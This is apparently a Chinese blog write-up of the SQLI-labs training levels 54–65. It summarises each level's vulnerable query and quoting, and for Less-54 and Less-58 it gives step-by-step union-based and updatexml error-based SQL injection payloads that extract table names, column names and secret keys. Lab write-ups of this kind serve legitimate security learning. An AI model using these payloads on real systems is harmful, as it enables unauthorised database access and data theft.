SQLI labs 靶场笔记之进阶挑战 54-65 关
进阶挑战 54-65 关
Less-54
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id='$id' |
简单源码分析:
if reset:
# 根据时间戳生成 cookie
setcookie('challenge', ' ', time() - 3600000);
else:
if cookie 中有 challenge:
$sessid=$_COOKIE['challenge'];
else:
# 生成 cookie
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
if $_GET['id']:
计数器 + 1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查询成功:
输出查询信息
else:
啥都不输出
# key 被双重过滤了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
代码中可以分享出,得让我们在 10 次注入测试中拿到 key 值。看了源码可以直接联合查询,10 次以内拿到 key 感觉问题不大,那么尝试看看吧:
判断闭合方式
?id=1'--+
判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
查询有可注入的字段
?id=-1' union select 1,2,3 --+
字段数 2,3
查询表名
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
表名为:bplubnri6m
,这个表名可能是随机的 不同用户不一样
查询列名
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='bplubnri6m') --+
查到列名如下:id,sessid,secret_0UH9,tryy
查询字段值
?id=-1' union select 1,2,(select group_concat(secret_0UH9) from bplubnri6m) --+
拿到 key 值为:Vbf3WpKCBvu8s4rnCTEeWcPa
总共只需要 6 步,其中在判断字段数这里有不确定性,理论上 10 步以内是可以正常注入出来的。
Less-55
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=($id) |
Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化,这里不再赘述。
Less-56
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=('$id') |
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
Less-57
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id="$id" |
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
Less-58
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id='$id' |
Less-58 这里相比较于 Less-54 - Less-57 变化还是比较大的,主要有明显区别的代码如下:
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
因为这里输出只输出 $unames
和 $pass
数组,pass 数组就是 unames 数组的逆序,所以这里使用联合查询的话是没有效果的,输出不了有用的信息。天无绝人之路,但是下面输出:
print_r(mysql_error());
所以这里就可以进行报错注入,下面直接丢 payload 吧:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='k4xoowbia1'),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_D5OR) from k4xoowbia1),0x7e),1)--+
这里我注入的表名为:k4xoowbia1
,列名为:secret_D5OR
Less-59
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id=$id |
与 Less-58 的思路一样,只是拼接方式不一样,详见 Less-58
Less-60
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id=("$id") |
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
Less-61
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id=(('$id')) |
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
Less-62
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=('$id') |
此时报错也取消了,这里只能进行布尔盲注或者延时盲注了,对于盲注强烈建议使用脚本,人工太慢,在实战工程中还是靠 sqlmap 这种自动化注入神器或者自己写脚本了,手工注入的话岂不是得天荒地老。
Less-63
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id='$id' |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
Less-64
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=(($id)) |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
Less-65
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=("$id") |
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
参考资料
本文作者: iceH
本文链接: http://www.secice.cn/p/32046ada
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!